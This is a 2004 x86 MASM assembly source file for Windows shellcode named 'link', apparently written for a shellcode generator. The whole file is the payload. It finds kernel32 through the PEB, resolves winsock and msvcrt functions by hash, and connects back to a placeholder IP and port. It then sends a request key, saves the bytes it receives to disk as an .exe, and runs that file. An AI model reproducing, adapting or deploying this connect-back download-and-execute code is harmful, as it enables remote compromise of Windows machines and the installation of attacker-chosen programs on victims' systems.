;
; link  -  connectback, receive, save and execute shellcode
;
; Copyright (c) 2004 by loco
; All Rights Reserved
;
; NOTE: Compatible with Windows NT based operating systems. IPv4 only.
;
;

  .386
  .model flat, stdcall
   option casemap:none
   assume fs:flat

   include C:\masm32\include\windows.inc   ; standard windows header
   include C:\masm32\include\kernel32.inc  ; definitions of kernel32.dll

   includelib C:\masm32\lib\kernel32.lib   ; we must have kernel32.dll in our process if we want to test it

  .data

   dd GetTickCount ; refer to GetTickCount so that kernel32.dll gets loaded into our process

  .code

   db 'START->'    ; start of shellcode (makes copy n pasting easier later)

; *** stuff that makes our life easier *****************************************

   ; kernel32.dll
   __imp_ExitThread  equ dword ptr [ebp + 04h]
   __imp_LoadLibrary equ dword ptr [ebp + 08h]
   ; msvcrt.dll
   __imp_fopen       equ dword ptr [ebp + 0ch]
   __imp_fwrite      equ dword ptr [ebp + 10h]
   __imp_fclose      equ dword ptr [ebp + 14h]
   __imp__execv      equ dword ptr [ebp + 18h]
   ; ws2_32.dll
   __imp_WSAStartup  equ dword ptr [ebp + 1ch]
   __imp_socket      equ dword ptr [ebp + 20h]
   __imp_connect     equ dword ptr [ebp + 24h]
   __imp_recv        equ dword ptr [ebp + 28h]
   __imp_send        equ dword ptr [ebp + 2ch]
   __imp_closesocket equ dword ptr [ebp + 30h]

; *** GetImportAddress macro ***************************************************

GetImportAddress MACRO
   LOCAL GetImportAddressLoop
   LOCAL GetImportHashLoop

   mov   edx, dword ptr [edi + 3ch]       ; get offset of PE header
   mov   edx, dword ptr [edi + edx + 78h] ; get RVA of export directory
   add   edx, edi                         ; convert it to pointer
   push  edx                              ; save it to stack

   mov   edx, [edx + 20h]                 ; get rva of rva's of names
   add   edx, edi                         ; convert it to pointer

   xor   ebx, ebx                         ; index of ordinal will be saved in ebx
GetImportAddressLoop:
   inc   ebx                              ; just skip the first entry
   mov   esi, [edx + ebx * 04h]           ; get rva of name
   add   esi, edi                         ; convert it to pointer
   xor   ecx, ecx
   lodsb                                  ; mov al, byte ptr [esi] -> inc esi
GetImportHashLoop:
   xor   cl, al
   rol   ecx, 5
   lodsb                                  ; mov al, byte ptr [esi] -> inc esi
   test  al, al
   jnz   GetImportHashLoop

   mov   esi, [ebp]                       ; get index of current function
   sub   ecx, [ebp + esi * 04h]           ; sub the original hash from current
   jnz   GetImportAddressLoop             ; not equal? try next

   xchg  esi, [esp]                       ; pointer to export table in esi now
   mov   edx, [esi + 24h]                 ; get rva of array of ordinals
   add   edx, edi                         ; convert it to pointer
   mov   cx, [edx + ebx * 2]              ; get ordinal

   mov   edx, [esi + 1ch]                 ; get rva of array of pointers to functions
   add   edx, edi                         ; convert it to pointer

   mov   eax, [edx + ecx * 4]             ; get rva of function
   add   eax, edi                         ; convert it to pointer
   pop   esi                              ; index of current function in esi
   mov   [ebp + esi * 04h], eax           ; move pointer to correct entry
   inc   dword ptr [ebp]                  ; increment index of current function
ENDM

start:
; *** find kernel32.dll base ***************************************************

   xor   ebx, ebx
   mov   eax, fs:[ebx + 30h]    ; Extract the PEB
   mov   eax, [eax + 0ch]       ; Extract the PROCESS_MODULE_INFO pointer from the PEB
   mov   esi, [eax + 1ch]       ; Get the address of flink in the init module list
   lodsd                        ; Load the address of blink into eax
   mov   eax, [eax + 08h]       ; Grab the module base address from the list entry

; *** load the imports *********************************************************

   push  ebx         ; 0
   push  ebx         ; 0
   push  '23'        ; ????32 first part of ws2_32
   push  '_2sw'      ; ws2_?? second part of ws2_32
   push  'tr'        ; ????rt first part of msvcrt
   push  'cvsm'      ; msvc?? second part of msvcrt
   call  OverImportHashes
   dd 1
   ; kernel32.dll
   dd 0D6086235h ; ExitThread
   dd 094202374h ; LoadLibrary
   ; msvcrt
   dd 0CAC999C0h ; fopen
   dd 069155CB9h ; fwrite
   dd 040F640B9h ; fclose
   dd 00DB302D7h ; _execv
   ; ws2_32.dll
   dd 0C44DF985h ; WSAStartup
   dd 018041A9Ch ; socket
   dd 01AD30183h ; connect
   dd 0071302C0h ; recv
   dd 007033480h ; send
   dd 028398AB4h ; closesocket
OverImportHashes:
   pop   ebp
   push  2
   pop   ebx
GetImportAddressOfNextDll:
   mov   edi, eax
   push  ebx
GetImportAddressesLoop:
   push  ebx
   GetImportAddress
   pop   ebx
   dec   ebx
   jnz   GetImportAddressesLoop

   pop   ebx
   add   ebx, 2
   push  esp                   ; push modulehandle
   call  dword ptr [ebp + 08h] ; call kernel32.LoadLibraryA
   add   esp, 8                ; next module
   test  eax, eax
   jnz   GetImportAddressOfNextDll

   mov   ah, 02h               ; eax = 00000200
   sub   esp, eax

; *** connect to IP ************************************************************

   mov   al, ah                ; eax = 00000202

   ; initialize ws2_32.dll
   push  esp                   ; our receive buffer (abused as WSADATA struct)
   push  eax                   ; we support 2.2 and above
   call  __imp_WSAStartup      ; when call succesful, will return 0
  
   ; set up SOCKADDR_IN structure
   push  eax                   ; 0
   push  eax                   ; 0
   push  11111111h             ; ip (will be set by shellcode generator)
   push  22220002h             ; AF_INET & port (port will be set by shellcode generator)
   mov   edi, esp

   push  eax                   ; IPPROTO_IP
   push  1                     ; SOCK_STREAM
   push  2                     ; AF_INET
   call  __imp_socket          ; call ws2_32.socket
   mov   ebx, eax

   ; call it
   push  10h                   ; sizeof SOCKADDR_IN
   push  edi                   ; ptr SOCKADDR_IN
   push  ebx                   ; socket
   call  __imp_connect         ; call ws2_32.connect
   ; the only check!
   test  eax, eax
   jnz   Exit

; *** send the request key *****************************************************

   mov   dword ptr [ebp], 33333333h ; request key (will be set by shellcode generator)

   push  eax                        ; flags (0)
   push  4                          ; length (4)
   push  ebp                        ; buffer
   push  ebx                        ; socket
   call  __imp_send                 ; call ws2_32.send

; *** receive file *************************************************************

   mov   esi, esp                    ; save pointer to buffer in esi

   ; we want read/write access
   mov   dword ptr [ebp], 'bw'
   push  'exe'                       ; second part 0, 'exe'
   push  '.xxx'                      ; first part '.xxx' (will be set by generator)
   mov   edi, esp                    ; save filename in edi
   push  ebp                         ; push pointer to 'wb'
   push  edi                         ; push pointer to filename
   call  __imp_fopen                 ; call msvrt.fopen
   mov   [ebp], eax                  ; move FILE stream in esi
   ; add   esp, 8                    ; no need to clean stack

   ; receive loop
ReceiveFile:
   push  0                     ; flags
   push  512                   ; buffersize
   push  esi                   ; buffer
   push  ebx                   ; socket
   call  __imp_recv            ; call ws2_32.recv
   test  eax, eax
   jz    DoneReceiving
   js    Exit

   push  [ebp]                 ; FILE
   push  eax                   ; nitems
   push  1                     ; item size
   push  esi                   ; buffer
   call  __imp_fwrite          ; call msvcrt.fwrite
   add   esp, 10h              ; clean stack

   jmp   ReceiveFile

DoneReceiving:
   push  [ebp]         ; push FILE stream to close
   call  __imp_fclose  ; call msvcrt.fclose, returns 0 if succesful
   ; add   esp, 4      ; not needed to clean stack

   push  eax
   push  esp           ; varguments
   push  edi           ; filename
   call  __imp__execv  ; call msvcrt._execv
   ; add   esp, 8      ; not needed to clean stack

Exit:
   push  ebx                                ; socket
   call  __imp_closesocket                  ; call ws2_32.closesocket

   ; push  0                                ; we don't care about the exit code    
   call  __imp_ExitThread                   ; call kernel32.ExitThread

; ******************************************+**********************************
   db '<-END'                 ; end of shellcode
; ******************************************+**********************************

end start